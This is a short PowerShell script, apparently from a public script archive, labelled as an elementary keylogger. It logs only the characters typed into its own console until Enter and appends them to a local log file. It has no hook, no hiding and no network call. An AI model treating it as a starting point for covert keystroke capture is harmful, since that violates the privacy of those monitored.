# encoding: ascii
# api: powershell
# title: Keylogger
# description: Example of elementary keylogger.
# version: 0.1
# author: greg zakharov
# license: CC0
# x-poshcode-id: 4707
# x-archived: 2017-05-25T20:14:45
# x-published: 2014-12-17T10:22:00
#
#
[String]$buff = ""
while($true) {
[Console]::ReadKey("`r") | % {
if ($_.Key -eq 'Enter') {break}
if ([Char]::IsLetterOrDigit($_.KeyChar) -or [Char]::IsWhiteSpace($_.KeyChar) -or`
[Char]::IsPunctuation($_.KeyChar) -or [Char]::IsSymbol($_.KeyChar)) {
$buff += $_.KeyChar
Write-Host $_.KeyChar -no
}
}
}
""
if (-not [String]::IsNullOrEmpty($buff)) {
Out-File ($pwd.Path + '\keylogger.log') -in $buff -enc ASCII -app -for
}